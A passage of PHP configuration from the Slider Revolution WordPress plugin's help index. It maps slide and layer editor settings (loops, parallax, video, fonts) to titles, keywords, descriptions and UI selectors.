"timeline.loop.set", $k => array("slide loop", "slide looping", "loop", "loop slide", "animation", "loop animation"), $d => __("Loop all or part of the current Slide's timeline", 'revsliderhelp'), $a => $u . "slide-loop", $hl => array($m => "#module_slide_trigger, #gst_slide_11", $st => '#form_slide_loops', $f => "#sl_layers_loop") ), 'repeat' => array( $t => __("Slide Loop Repeat", 'revsliderhelp'), $h => "timeline.loop.repeat", $k => array("slide loop", "slide looping", "loop", "loop slide", "animation", "loop animation", "repeat", "slide loop repeat", "loop repeat"), $d => __("Enter a specific amount of times the Slide's timeeline should loop or use 'unlimited' to loop continusously until the Slide changes", 'revsliderhelp'), $a => $u . "slide-loop", $hl => array( $dp => array(array($p => '#slide#.slide.timeline.loop.set', $v => true, $o => 'slide_loop')), $m => "#module_slide_trigger, #gst_slide_11", $st => '#form_slide_loops', $f => "#slide_loop_repeat" ) ), 'loop_start' => array( $t => __("Slide Loop Start", 'revsliderhelp'), $h => "timeline.loop.start", $k => array("slide loop", "slide looping", "loop", "loop slide", "animation", "loop animation", "start", "slide loop start", "loop start"), $d => __("The point in the timeline where the looping should begin", 'revsliderhelp'), $a => $u . "slide-loop", $hl => array( $dp => array(array($p => '#slide#.slide.timeline.loop.set', $v => true, $o => 'slide_loop')), $m => "#module_slide_trigger, #gst_slide_11", $st => '#form_slide_loops', $f => "#slide_loop_start" ) ), 'loop_end' => array( $t => __("Slide Loop End", 'revsliderhelp'), $h => "timeline.loop.end", $k => array("slide loop", "slide looping", "loop", "loop slide", "animation", "loop animation", "end", "slide loop end", "loop end"), $d => __("The point in the timeline where the looping should begin", 'revsliderhelp'), $a => $u . "slide-loop", $hl => array( $dp => array(array($p => '#slide#.slide.timeline.loop.set', $v => true, $o => 'slide_loop')), $m => "#module_slide_trigger, #gst_slide_11", $st => '#form_slide_loops', $f => "#slide_loop_end" ) ) ), 'gst_slide_12' => array( 'parallax_level' => array( $t => __("Parallax Level", 'revsliderhelp'), $h => "effects.parallax", $k => array("parallax", "3d", "scroll", "on scroll", "parallax level", "level", "effects"), $d => __("The parallax level to apply to the Slide's main background", 'revsliderhelp'), $a => $u . "slide-background/", $hl => array($m => "#module_slide_trigger, #gst_slide_12", $st => '#form_slidebg_pddd', $f => "#slide_parallax_level") ), 'fade' => array( $t => __("Fade Effect", 'revsliderhelp'), $h => "effects.fade", $k => array("parallax", "3d", "scroll", "on scroll", "effects", "fade"), $d => __("Fade Layers in and out as the page scrolls into and out of view", 'revsliderhelp'), $a => $u . "slide-background/", $hl => array($m => "#module_slide_trigger, #gst_slide_12", $st => '#form_slidefilter_scrollbased', $f => "#slide_effectscroll_fade") ), 'blur' => array( $t => __("Blur Effect", 'revsliderhelp'), $h => "effects.blur", $k => array("parallax", "3d", "scroll", "on scroll", "effects", "blur"), $d => __("Blur Layers in and out as the page scrolls into and out of view", 'revsliderhelp'), $a => $u . "slide-background/", $hl => array($m => "#module_slide_trigger, #gst_slide_12", $st => '#form_slidefilter_scrollbased', $f => "#slide_effectscroll_blur") ), 'grayscale' => array( $t => __("Grayscale Effect", 'revsliderhelp'), $h => "effects.grayscale", $k => array("parallax", "3d", "scroll", "on scroll", "effects", "grayscale"), $d => __("Aply a grayscale filter to Layers as the page scrolls into and out of view", 'revsliderhelp'), $a => $u . "slide-background/", $hl => array($m => "#module_slide_trigger, #gst_slide_12", $st => '#form_slidefilter_scrollbased', $f => "#slide_effectscroll_grayscale") ) ), 'addons' => array(), ), 'layer_settings' => array( 'gst_layer_1' => array( 'text_button_icon' => array( 'text_content' => array( $t => __("Layer Text", 'revsliderhelp'), $h => "text", $k => array("layer", "layers", "slider text", "slide text", "layer text", "text", "change text"), $d => __("The html/text for the selected Layer's content. 'Idle' is the default text. And 'Toggle' is alternative text to show when the Layer is clicked.", 'revsliderhelp'), $a => $u . "layer-content/#text-buttons", $hl => array( $dp => array('layerselected::text||button'), $m => "#module_layers_trigger, #gst_layer_1", $st => '#form_layercontent_content_text', $f => "#ta_layertext" ) ), 'placeholder' => array( $t => __("Placeholder", 'revsliderhelp'), $h => "placeholder", $k => array("slider text", "slide text", "layer text", "text", "change text"), $d => __("Optional placeholder attribute for the Layer's wrapper", 'revsliderhelp'), $a => $u . "layer-content/#text-buttons", $hl => array( $dp => array('layerselected::text||button'), $m => "#module_layers_trigger, #gst_layer_1", $st => '#form_layercontent_content_text', $f => "#ta_placeholder" ) ), 'linebreak' => array( $t => __("Line Break Behavior", 'revsliderhelp'), $h => "idle.whiteSpace.#size#.v", $k => array("slider text", "slide text", "layer text", "text", "change text", "line-break", "line break"), $d => __("Choose how text should wrap/break onto lines lines", 'revsliderhelp'), $a => $u . "layer-content/#text-buttons", $hl => array( $dp => array('layerselected::text||button'), $m => "#module_layers_trigger, #gst_layer_1", $st => '#form_layercontent_content_text', $f => "#layer_linebreak" ) ) ), 'image' => array( 'image_from_stream' => array( $t => __("Image from Stream", 'revsliderhelp'), $h => "media.imageFromStream", $k => array("stream", "image stream", "stream image"), $d => __("Choose if the Image source should be populated by the Slide's social stream content", 'revsliderhelp'), $a => $u . "layer-content/#images", $hl => array( $dp => array('layerselected::image'), $m => "#module_layers_trigger, #gst_layer_1", $st => '#form_layercontent_content_image', $f => "*[data-r='media.imageFromStream']" ) ), 'image_url' => array( $t => __("Image URL", 'revsliderhelp'), $h => "media.imageUrl", $k => array("layer", "layers", "layer image", "image url", "media library", "layer image url"), $d => __("Set/change the image for the Layer", 'revsliderhelp'), $a => $u . "layer-content/#images", $hl => array( $dp => array('layerselected::image'), $m => "#module_layers_trigger, #gst_layer_1", $st => '#form_layercontent_content_image', $f => "#image_layer_media_library_button" ) ), 'lazy_loading' => array( $t => __("Lazy Loading", 'revsliderhelp'), $h => "behavior.lazyLoad", $k => array("lazy", "lazy load", "lazy loading"), $d => __("'Default' will use the Slider's Lazy Load setting, 'Force' will LazyLoad the image regardless of the Slider's settings, and 'Ignore' will set LazyLoad to off regardless of the Slider's settings.", 'revsliderhelp'), $a => $u . "layer-content/", $hl => array( $dp => array('layerselected::image'), $m => "#module_layers_trigger, #gst_layer_1", $st => '#form_layercontent_content_image', $f => "*[data-r='behavior.lazyLoad']" ) ), 'image_size' => array( $t => __("Image Source Size", 'revsliderhelp'), $h => "behavior.imageSourceType", $k => array("image size", "image source", "image sour size", "layer image"), $d => __("The default WordPress Image size to be used when the image is loaded", 'revsliderhelp'), $a => $u . "layer-content/", $hl => array( $dp => array('layerselected::image'), $m => "#module_layers_trigger, #gst_layer_1", $st => '#form_layercontent_content_image', $f => "*[data-r='behavior.imageSourceType']" ) ) ), 'video_audio' => array( 'media_content' => array( 'video_from_stream' => array( $t => __("Video from Stream", 'revsliderhelp'), $h => "media.videoFromStream", $k => array("layer", "layers", "stream", "stream video", "video stream"), $d => __("The Layer's image will be populated automatically from the Slider's Video-Stream source", 'revsliderhelp'), $a => $u . "layer-content/#video-audio", $hl => array( $dp => array('layerselected::video'), $m => "#module_layers_trigger, #gst_layer_1", $st => '#form_layercontent_content_video', $f => "*[data-r='media.videoFromStream']" ) ), 'type' => array( $di => "layer_video_type", $t => __("Video Type", 'revsliderhelp'), $h => "media.mediaType", $k => array("youtube", "vimeo", "html5 video", "video layer", "layer video", "youtube video", "you-tube", "you tube", "youtube video layer", "vimeo video"), $d => __("Choose if the video should be loaded from YouTube, Vimeo or locally (HTML5)", 'revsliderhelp'), $a => $u . "layer-content/#video-audio", $hl => array( $dp => array('layerselected::video'), $m => "#module_layers_trigger, #gst_layer_1", $st => '#form_layercontent_content_video', $f => "*[name='layer_video_type']*wildcard*" ) ), 'video_id_url' => array( 'video_id' => array( $t => __("YouTube/Vimeo ID", 'revsliderhelp'), $h => "media.id", $k => array("youtube", "vimeo", "video layer", "layer video", "youtube video", "you-tube", "you tube", "youtube video layer", "vimeo video", "youtube id", "vimeo id"), $d => __("The YouTube ID or Vimeo ID for the video's source", 'revsliderhelp'), $a => $u . "layer-content/#video-audio", $hl => array( $dp => array( 'layerselected::video', array($p => '#slide#.layers.#layer#.media.mediaType', $v => 'youtube::vimeo', $o => 'layer_video_type', 'target' => 'youtube') ), $m => "#module_layers_trigger, #gst_layer_1", $st => '#form_layercontent_content_video', $f => "#layer_youtubevimeo_id" ) ), 'html5_video_url' => array( $t => __("HTML5 Video URL", 'revsliderhelp'), $h => "media.mp4Url", $k => array("mpeg", "mpg", "mp4", "html5 video", "html5 video source", "video url", "html5 url", "htlm5 video url"), $d => __("The url for the locally loaded HTML5 Video", 'revsliderhelp'), $a => $u . "layer-content/#video-audio", $hl => array( $dp => array( 'layerselected::video', array($p => '#slide#.layers.#layer#.media.mediaType', $v => 'html5', $o => 'layer_video_type', 'target' => 'html5') ), $m => "#module_layers_trigger, #gst_layer_1", $st => '#form_layercontent_content_video', $f => "#layer_mpeg_src" ) ), 'html5_audio_url' => array( $t => __("HTML5 Audio URL", 'revsliderhelp'), $h => "media.audioUrl", $k => array("mpeg", "mpg", "mp3", "audio", "html5 audio", "audio url", "html5 audio url", "sound"), $d => __("The url for the locally loaded HTML5 Audio", 'revsliderhelp'), $a => $u . "layer-content/#video-audio", $hl => array( $dp => array('layerselected::audio'), $m => "#module_layers_trigger, #gst_layer_1", $st => '#form_layercontent_content_video', $f => "#layer_mpegaudio_src" ) ) ), 'fitCover' => array( $t => __("Video Fit Cover", 'revsliderhelp'), $h => "media.fitCover", $k => array("fit cover", "video size", "video fit cover"), $d => __("Video will fit in container with CSS property object-fit cover. Disable this option in case video size jumps on slide change.", 'revsliderhelp'), $a => $u . "layer-video-audio-settings/", $hl => array( $dp => array('layerselected::video'), $m => "#module_layers_trigger, #gst_layer_1", $st => '#form_layercontent_content_video', $f => "#video_layer_fit_cover" ) ), 'preloading' => array( 'preload' => array( $t => __("Preload", 'revsliderhelp'), $h => "media.speed", $k => array("preload video", "html5 video preload", "html5 audio preload"), $d => __("The HTML5 Video/Audio preload behavior for the currently selected Video Layer", 'revsliderhelp'), $a => $u . "layer-content/#video-audio", $hl => array( $dp => array( 'layerselected::video||audio', array('dependency' => 'video', $p => '#slide#.layers.#layer#.media.mediaType', $v => 'html5', $o => 'layer_video_type', 'target' => 'html5') ), $m => "#module_layers_trigger, #gst_layer_1", $st => '#form_layercontent_content_video', $f => "#layer_media_preload" ) ), 'skip_preload' => array( $t => __("Preload Delay", 'revsliderhelp'), $h => "media.preloadWait", $k => array("audio", "media", "audio player", "sound", "preload", "skip preload", "preload delay"), $d => __("Skip the preloading of HTML5 Audio by a set amount of seconds", 'revsliderhelp'), $a => $u . "layer-content/#video-audio", $hl => array( $dp => array('layerselected::audio'), $m => "#module_layers_trigger, #gst_layer_1", $st => '#form_layercontent_content_video', $f => "*[data-r='media.preloadWait']" ) ) ), 'aspect_ratio' => array( $t => __("Aspect Ratio", 'revsliderhelp'), $h => "media.ratio", $k => array("aspect ratio", "video size", "video aspect ratio"), $d => __("This value should match the video's original aspect ratio", 'revsliderhelp'), $a => $u . "layer-video-audio-settings/", $hl => array( $dp => array('layerselected::video'), $m => "#module_layers_trigger, #gst_layer_1", $st => '#form_layercontent_content_video', $f => "#layer_video_layeraspectratio" ) ), 'autoplay' => array( $t => __("Autoplay", 'revsliderhelp'), $h => "media.autoPlay", $k => array("autoplay video", "video autoplay", "autoplay", "video", "youtube", "vimeo", "html5"), $d => __("The autoplay behavior for the currently selected Video Layer", 'revsliderhelp'), $a => $u . "layer-video-audio-settings/", $hl => array( $dp => array('layerselected::video||audio'), $m => "#module_layers_trigger, #gst_layer_1", $st => '#form_layercontent_content_video', $f => "#layer_video_autoplay" ) ), 'pauseOnSlideChange' => array( $t => __("Autoplay", 'revsliderhelp'), $h => "media.pauseOnSlideChange", $k => array("pause video", "carousel video pause", "carousel change pause"), $d => __("Pauses video on carousel change even if video layer is set to be visible always", 'revsliderhelp'), $a => $u . "layer-video-audio-settings/", $hl => array( $dp => array('layerselected::video||audio'), $m => "#module_layers_trigger, #gst_layer_1", $st => '#form_layercontent_content_video', $f => "#layer_video_pauseOnSlideChange" ) ), 'loop' => array( $t => __("Loop Video/Audio", 'revsliderhelp'), $h => "media.loop", $k => array("loop", "video loop", "restart", "restart video"), $d => __("Restart the video/audio every time it ends", 'revsliderhelp'), $a => $u . "layer-video-audio-settings/", $hl => array( $dp => array('layerselected::video||audio'), $m => "#module_layers_trigger, #gst_layer_1", $st => '#form_layercontent_content_video', $f => "#layer_video_loop" ) ), 'dotted_overlay' => array( $t => __("Dotted Overlay", 'revsliderhelp'), $h => "media.dotted", $k => array("overlay", "video overlay", "dotted overlay"), $d => __("Add a mesh-style overlay to the video for extra styling", 'revsliderhelp'), $a => $u . "layer-video-audio-settings/", $hl => array( $dp => array('layerselected::video'), $m => "#module_layers_trigger, #gst_layer_1", $st => '#form_layercontent_content_video', $f => "#layer_dotted_overlay" ) ) ), 'media_poster' => array( 'poster_from_stream' => array( $t => __("Poster from Stream", 'revsliderhelp'), $h => "media.posterFromStream", $k => array("stream", "stream background", "poster", "youtube poster", "vimeo poster", "video poster"), $d => __("The video's poster image will be populated automatically from the Slider's Video-Stream source", 'revsliderhelp'), $a => $u . "layer-video-audio-settings/", $hl => array( $dp => array('layerselected::video'), $m => "#module_layers_trigger, #gst_layer_1", $st => '#form_layercontent_content_videoposter', $f => "*[data-r='media.posterFromStream']" ) ), 'poster_url' => array( $t => __("Poster URL", 'revsliderhelp'), $h => "media.posterUrl", $k => array("video poster", "poster", "youtube poster", "vimeo poster", "video image", "youtube image", "vimeo image", "poster url"), $d => __("Set/remove the video's preview image for the video", 'revsliderhelp'), $a => $u . "layer-video-audio-settings/", $hl => array( $dp => array('layerselected::video'), $m => "#module_layers_trigger, #gst_layer_1", $st => '#form_layercontent_content_videoposter', $f => "#form_layercontent_content_videoposter *[data-r='media.posterUrl']{first}" ) ), 'poster_in_pause' => array( $t => __("Show Poster on Video Pause", 'revsliderhelp'), $h => "media.posterOnPause", $k => array("video poster", "poster", "youtube poster", "vimeo poster", "video image", "youtube image", "vimeo image"), $d => __("Show the video's preview image whenever the video is paused by the user or on a Slide change", 'revsliderhelp'), $a => $u . "layer-video-audio-settings/", $hl => array( $dp => array('layerselected::video'), $m => "#module_layers_trigger, #gst_layer_1", $st => '#form_layercontent_content_videoposter', $f => "*[data-r='media.posterOnPause']" ) ), 'no_poster_mobile' => array( $t => __("No Poster on Mobile", 'revsliderhelp'), $h => "media.disableOnMobile", $k => array("video poster", "poster", "youtube poster", "vimeo poster", "video image", "youtube image", "vimeo image"), $d => __("Only show a video preview image on desktop computers", 'revsliderhelp'), $a => $u . "layer-video-audio-settings/", $hl => array( $dp => array('layerselected::video'), $m => "#module_layers_trigger, #gst_layer_1", $st => '#form_layercontent_content_videoposter', $f => "*[data-r='media.disableOnMobile']" ) ), 'only_poster_mobile' => array( $t => __("Only Poster on Mobile", 'revsliderhelp'), $h => "media.posterOnMobile", $k => array("video poster", "poster", "youtube poster", "vimeo poster", "video image", "youtube image", "vimeo image"), $d => __("Only show a video preview image on mobile devices", 'revsliderhelp'), $a => $u . "layer-video-audio-settings/", $hl => array( $dp => array('layerselected::video'), $m => "#module_layers_trigger, #gst_layer_1", $st => '#form_layercontent_content_videoposter', $f => "*[data-r='media.posterOnMobile']" ) ) ), 'advanced_settings' => array( 'stop_other_media' => array( $t => __("Stop Other Media", 'revsliderhelp'), $h => "media.stopAllVideo", $k => array("stop video", "pause video", "stop other media", "pause media", "stop media", "stop audio", "stop sound", "pause audio", "pause sound"), $d => __("Stop/pause other video/audio in the Slide when the currently selected Video Layer begins to play", 'revsliderhelp'), $a => $u . "layer-video-audio-settings/", $hl => array( $dp => array('layerselected::video||audio'), $m => "#module_layers_trigger, #gst_layer_1", $st => '#form_layercontent_content_video_adv', $f => "*[data-r='media.stopAllVideo']" ) ), 'allow_fullscreen' => array( $t => __("Allow Fullscreen", 'revsliderhelp'), $h => "media.allowFullscreen", $k => array("fullscreen video", "fullscreen", "fullscreen button", "allow fullscreen"), $d => __("Allow the video to be taken fullscreen by the user", 'revsliderhelp'), $a => $u . "layer-video-audio-settings/", $hl => array( $dp => array('layerselected::video'), $m => "#module_layers_trigger, #gst_layer_1", $st => '#form_layercontent_content_video_adv', $f => "*[data-r='media.allowFullscreen']" ) ), 'next_slide_at_end' => array( $t => __("Next Slide at End", 'revsliderhelp'), $h => "media.nextSlideAtEnd", $k => array("next slide at end", "next slide end"), $d => __("Change to the next Slide when the video/audio ends", 'revsliderhelp'), $a => $u . "layer-video-audio-settings/", $hl => array( $dp => array('layerselected::video||audio'), $m => "#module_layers_trigger, #gst_layer_1", $st => '#form_layercontent_content_video_adv', $f => "*[data-r='media.nextSlideAtEnd']" ) ), 'rewind_at_start' => array( $t => __("Rewind at Start", 'revsliderhelp'), $h => "media.forceRewind", $k => array("rewind", "rewind at start", "rewind video", "restart video", "rewind audio", "restart audio"), $d => __("Always play the video/audio from the beginning each time the Slide is shown", 'revsliderhelp'), $a => $u . "layer-video-audio-settings/", $hl => array( $dp => array('layerselected::video||audio'), $m => "#module_layers_trigger, #gst_layer_1", $st => '#form_layercontent_content_video_adv', $f => "*[data-r='media.forceRewind']" ) ), 'no_interaction' => array( $di => 'no_interaction', $t => __("No Interaction", 'revsliderhelp'), $h => "media.nointeraction", $k => array("video controls", "video control bar", "controls", "audio controls", "video player", "audio player", "interaction", "no interaction"), $d => __("Disable all possible user-interaction with the video", 'revsliderhelp'), $a => $u . "layer-video-audio-settings/", $hl => array( $dp => array('layerselected::video||audio'), $m => "#module_layers_trigger, #gst_layer_1", $st => '#form_layercontent_content_video_adv', $f => "*[data-r='media.nointeraction']" ) ), 'controls' => array( $t => __("Controls", 'revsliderhelp'), $h => "media.controls", $k => array("video controls", "video control bar", "controls", "audio controls", "video player", "audio player"), $d => __("Display controls in the video/audio player", 'revsliderhelp'), $a => $u . "layer-video-audio-settings/", $hl => array( $dp => array( 'layerselected::video||audio', array($p => '#slide#.layers.#layer#.media.nointeraction', $v => false, $o => 'no_interaction') ), $m => "#module_layers_trigger, #gst_layer_1", $st => '#form_layercontent_content_video_adv', $f => "*[data-r='media.controls']" ) ), 'large_controls' => array( $t => __("Large Controls", 'revsliderhelp'), $h => "media.largeControls", $k => array("large controls", "video controls", "html5 video controls"), $d => __("Include large controls for HTML5 Video Layers", 'revsliderhelp'), $a => $u . "layer-video-audio-settings/", $hl => array( $dp => array( 'layerselected::video', array($p => '#slide#.layers.#layer#.media.mediaType', $v => 'html5', $o => 'layer_video_type', 'target' => 'html5'), array($p => '#slide#.layers.#layer#.media.nointeraction', $v => false, $o => 'no_interaction') ), $m => "#module_layers_trigger, #gst_layer_1", $st => '#form_layercontent_content_video_adv', $f => "*[data-r='media.largeControls']" ) ), 'inline_mode' => array( $t => __("Inline Mode", 'revsliderhelp'), $h => "media.playInline", $k => array("playsinline, inline, inline mode, video inline, video playsinline"), $d => __("Include a 'playsline' attribute with the video element. This will prevent the video from being taken fullscreen when it initially plays on mobile devices.", 'revsliderhelp'), $a => $u . "layer-video-audio-settings/", $hl => array( $dp => array('layerselected::video'), $m => "#module_layers_trigger, #gst_layer_1", $st => '#form_layercontent_content_video_adv', $f => "*[data-r='media.playInline']" ) ), 'mute_at_start' => array( $t => __("Mute at Start", 'revsliderhelp'), $h => "media.mute", $k => array("mute video", "mute at start"), $d => __("Auto-mute the video each time the Slide is shown", 'revsliderhelp'), $a => $u . "layer-video-audio-settings/", $hl => array( $dp => array('layerselected::video'), $m => "#module_layers_trigger, #gst_layer_1", $st => '#form_layercontent_content_video_adv', $f => "*[data-r='media.mute']" ) ), 'volume' => array( $t => __("Video/Audio Volume", 'revsliderhelp'), $h => "media.volume", $k => array("video volume", "volume", "youtube volume", "vimeo volume", "html5 video volume", "audio volume", "html5 audio volume"), $d => __("The initial volume for the video/audio. Choose a number between 0-100", 'revsliderhelp'), $a => $u . "layer-video-audio-settings/", $hl => array( $dp => array('layerselected::video||audio'), $m => "#module_layers_trigger, #gst_layer_1", $st => '#form_layercontent_content_video_adv', $f => "#layer_video_volume" ) ), 'speed' => array( $t => __("Video Speed", 'revsliderhelp'), $h => "media.speed", $k => array("video speed"), $d => __("Optional playback speed for the video", 'revsliderhelp'), $a => $u . "layer-video-audio-settings/", $hl => array( $dp => array( 'layerselected::video', array($p => '#slide#.layers.#layer#.media.mediaType', $v => 'youtube', $o => 'layer_video_type', 'target' => 'youtube') ), $m => "#module_layers_trigger, #gst_layer_1", $st => '#form_layercontent_content_video_adv', $f => "#layer_media_speed" ) ), 'start_at' => array( $t => __("Start Time", 'revsliderhelp'), $h => "media.startAt", $k => array("video start", "video start time", "start at", "video start at", "audio start at", "audio start time"), $d => __("Start the video at this time (minutes:seconds, such as 01:30)", 'revsliderhelp'), $a => $u . "layer-video-audio-settings/", $hl => array( $dp => array('layerselected::video||audio'), $m => "#module_layers_trigger, #gst_layer_1", $st => '#form_layercontent_content_video_adv', $f => "#layer_video_start" ) ), 'end_at' => array( $t => __("End Time", 'revsliderhelp'), $h => "media.endAt", $k => array("video end", "video end time", "end at", "video end at", "audio end at", "audio end time"), $d => __("End the video at this time (minutes:seconds, such as 01:30)", 'revsliderhelp'), $a => $u . "layer-video-audio-settings/", $hl => array( $dp => array('layerselected::video||audio'), $m => "#module_layers_trigger, #gst_layer_1", $st => '#form_layercontent_content_video_adv', $f => "#layer_video_end" ) ) ), 'arguments' => array( $t => __("YouTube/Vimeo Arguments", 'revsliderhelp'), $h => "media.args", $k => array("youtube args", "youtube arguments", "vimeo args", "vimeo arguments"), $d => __("Optional iFrame arguments for YouTube and Vimeo", 'revsliderhelp'), $a => $u . "layer-video-audio-settings/", $hl => array( $dp => array( 'layerselected::video', array($p => '#slide#.layers.#layer#.media.mediaType', $v => 'youtube::vimeo', $o => 'layer_video_type', 'target' => 'youtube') ), $m => "#module_layers_trigger, #gst_layer_1", $st => '#form_layercontent_content_video_attr', $f => "#layer_video_arg" ) ) ), 'row_settings' => array( 'columns' => array( $t => __("Column Structure", 'revsliderhelp'), $h => "row_column_structure", $k => array("rows", "columns", "row", "column", "colspan"), $d => __("Choose the number of columns and their colspan for the selected row", 'revsliderhelp'), $a => $u . "rows-columns/", $hl => array( $dp => array('layerselected::row||column'), $m => "#module_layers_trigger, #gst_layer_1", $st => '#form_layercontent_content_row', $f => "#row_column_structure" ) ), 'break_at' => array( $t => __("Break At", 'revsliderhelp'), $h => "group.columnbreakat", $k => array("rows", "columns", "row", "column", "colspan", "break at", "break columns"), $d => __("Choose which viewport the rows should collapse into single columns", 'revsliderhelp'), $a => $u . "rows-columns/", $hl => array( $dp => array('layerselected::row||column'), $m => "#module_layers_trigger, #gst_layer_1", $st => '#form_layercontent_content_row', $f => "#layer_row_break_tablet" ) ), 'row_position' => array( $t => __("Row Position", 'revsliderhelp'), $h => "row_position", $k => array("rows", "columns", "row", "column", "row position", "row align", "position", "align"), $d => __("The vertical-align value for the row in relation to the Module's height (top, middle or bottom)", 'revsliderhelp'), $a => $u . "rows-columns/", $hl => array( $dp => array('layerselected::row||column'), $m => "#module_layers_trigger, #gst_layer_1", $st => '#form_layercontent_content_row', $f => ".layer_rowposition_icons.selected" ) ) ), 'column_settings' => array( 'horizontal_align' => array( $t => __("Horizontal Align", 'revsliderhelp'), $h => "idle.textAlign.#size#.v", $k => array("layer horizontal align", "horizontal align", "row align", "row alignment", "column align", "column alignment"), $d => __("The CSS text-align for the Layer's text. Also useful for aligning content inside rows/colums", 'revsliderhelp'), $a => $u . "rows-columns/", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_1", $st => '#form_layercontent_content_column', $f => ".layer_content_hor_selector.selected" ) ), 'vertical_align' => array( $t => __("Vertical Align", 'revsliderhelp'), $h => "idle.verticalAlign", $k => array("layer vertical align", "vertical align", "row align", "row alignment", "column align", "column alignment"), $d => __("The vertical alignment for content inside a row/column", 'revsliderhelp'), $a => $u . "rows-columns/", $hl => array( $dp => array('layerselected::column'), $m => "#module_layers_trigger, #gst_layer_1", $st => '#form_layercontent_content_column', $f => ".layer_content_ver_selector.selected" ) ) ), 'column_display_mode' => array( 'display' => array( $t => __("CSS Display", 'revsliderhelp'), $h => "idle.display", $k => array(), $d => __("The CSS display property for the Layer as it fits inside the Column", 'revsliderhelp'), $a => $u . "layer-content/", ), 'float' => array( $t => __("CSS Float", 'revsliderhelp'), $h => "idle.clear.#size#.v", $k => array(), $d => __("The CSS float property for the Layer as it fits inside the Column", 'revsliderhelp'), $a => $u . "layer-content/", ), 'clear' => array( $t => __("CSS Clear", 'revsliderhelp'), $h => "idle.float.#size#.v", $k => array(), $d => __("The CSS clear property for the Layer as it fits inside the Column", 'revsliderhelp'), $a => $u . "layer-content/", ), 'linebreak_before' => array( $t => __("Add Linebreak Before", 'revsliderhelp'), $h => "linebreak_before", $k => array(), $d => __("Add a linebreak before the currently selected Layer. Useful when floats are used.", 'revsliderhelp'), $a => $u . "layer-content/", ), 'linebreak_before' => array( $t => __("Add Linebreak After", 'revsliderhelp'), $h => "linebreak_after", $k => array(), $d => __("Add a linebreak after the currently selected Layer. Useful when floats are used.", 'revsliderhelp'), $a => $u . "layer-content/", ) ), 'htmltag' => array( $t => __("Layer HTML Tag", 'revsliderhelp'), $h => "htmltag", $k => array("html tag", "layer tag", "layer wrapper tag", "wrapper tag", "wrapper"), $d => __("Choose which HTML tag should be used for the Layer. Useful for SEO purposes", 'revsliderhelp'), $a => $u . "layer-content/", $hl => array( $dp => array('layerselected::text||image||button||shape||video||audio||object||group'), $m => "#module_layers_trigger, #gst_layer_1", $st => '#form_layercontent_tag', $f => "#layer_htmltag" ) ) ), 'gst_layer_3' => array( 'font' => array( 'font_size' => array( $t => __("Font Size", 'revsliderhelp'), $h => "idle.fontSize.#size#.v", $k => array("font size", "font-size", "font", "text", "text-size", "layer text", "layer font", "layer font size", "layer font-size"), $d => __("The Layer's font-size for the currently selected viewport", 'revsliderhelp'), $a => $u . "font-colors-styling/", $hl => array( $dp => array('layerselected::text||button'), $m => "#module_layers_trigger, #gst_layer_3", $st => '#form_layerstyle_font', $f => "#layer_font_size_idle" ) ), 'line_height' => array( $t => __("Line Height", 'revsliderhelp'), $h => "idle.lineHeight.#size#.v", $k => array("line-height", "line height", "text size"), $d => __("The Layer's CSS line-height value for the currently selected viewport", 'revsliderhelp'), $a => $u . "font-colors-styling/", $hl => array( $dp => array('layerselected::text||button'), $m => "#module_layers_trigger, #gst_layer_3", $st => '#form_layerstyle_font', $f => "#layer_line_height_idle" ) ), 'font_weight' => array( $t => __("Font Weight", 'revsliderhelp'), $h => "idle.fontWeight.#size#.v", $k => array("strong", "bold", "font-weight", "font-weight", "bold text", "strong text"), $d => __("The Layer's CSS font-weight value for the currently selected viewport", 'revsliderhelp'), $a => $u . "font-colors-styling/", $hl => array( $dp => array('layerselected::text||button'), $m => "#module_layers_trigger, #gst_layer_3", $st => '#form_layerstyle_font', $f => "#layer_fontweight_idle" ) ), 'letter_spacing' => array( $t => __("Letter Spacing", 'revsliderhelp'), $h => "idle.letterSpacing.#size#.v", $k => array("letter spacing", "text spacing", "letter-spacing"), $d => __("The Layer's CSS letter-spacing value for the currently selected viewport", 'revsliderhelp'), $a => $u . "font-colors-styling/", $hl => array( $dp => array('layerselected::text||button'), $m => "#module_layers_trigger, #gst_layer_3", $st => '#form_layerstyle_font', $f => "*[data-r='idle.letterSpacing.#size#.v']" ) ), 'font_family' => array( $t => __("Font Family", 'revsliderhelp'), $h => "idle.fontFamily", $k => array("font family", "font-family", "text", "text font", "text font family", "text font-family", "google font"), $d => __("The Google Font for the currently selected Layer's text", 'revsliderhelp'), $a => $u . "font-colors-styling/", $hl => array( $dp => array('layerselected::text||button'), $m => "#module_layers_trigger, #gst_layer_3", $st => '#form_layerstyle_font', $f => "#layer_fontfamily" ) ), 'text_color' => array( $t => __("Text Color", 'revsliderhelp'), $h => "idle.color.#size#.v", $k => array("text color", "layer text color", "layer text"), $d => __("The text color for the currently selected Layer", 'revsliderhelp'), $a => $u . "font-colors-styling/", $hl => array( $dp => array('layerselected::text||button'), $m => "#module_layers_trigger, #gst_layer_3", $st => '#form_layerstyle_font', $f => "#layerTextColor" ) ), 'italic' => array( $t => __("Font-Style: Italic", 'revsliderhelp'), $h => "idle.fontStyle", $k => array("font-style", "font style", "italic", "italics", "italic text"), $d => __("Add italics to the currently selected Layer's text", 'revsliderhelp'), $a => $u . "font-colors-styling/", $hl => array( $dp => array('layerselected::text||button'), $m => "#module_layers_trigger, #gst_layer_3", $st => '#form_layerstyle_font', $f => "#layer_fontStyle" ) ), 'text_decoration' => array( $t => __("Text Decoration", 'revsliderhelp'), $h => "idle.textDecoration", $k => array("underline", "strike", "overline", "line-through", "strike-through"), $d => __("Add an text underline to the currently selected Layer's text", 'revsliderhelp'), $a => $u . "font-colors-styling/", $hl => array( $dp => array('layerselected::text||button'), $m => "#module_layers_trigger, #gst_layer_3", $st => '#form_layerstyle_font', $f => "#layer_textdecoration_idle" ) ), 'text_transform' => array( $t => __("Text Transform", 'revsliderhelp'), $h => "idle.textTransform", $k => array("text-transform", "uppercase", "lowercase", "upper-case", "lower-case", "capitalize"), $d => __("The CSS text-transform value for the text", 'revsliderhelp'), $a => $u . "font-colors-styling/", $hl => array( $dp => array('layerselected::text||button'), $m => "#module_layers_trigger, #gst_layer_3", $st => '#form_layerstyle_font', $f => "#layer_texttransform" ) ), 'selectable' => array( $t => __("Layer is Selectable", 'revsliderhelp'), $h => "idle.selectable", $k => array("selectable", "layer selectable", "user-select", "user select"), $d => __("The CSS user-select value for the text", 'revsliderhelp'), $a => $u . "font-colors-styling/", $hl => array( $dp => array('layerselected::text||button'), $m => "#module_layers_trigger, #gst_layer_3", $st => '#form_layerstyle_font', $f => 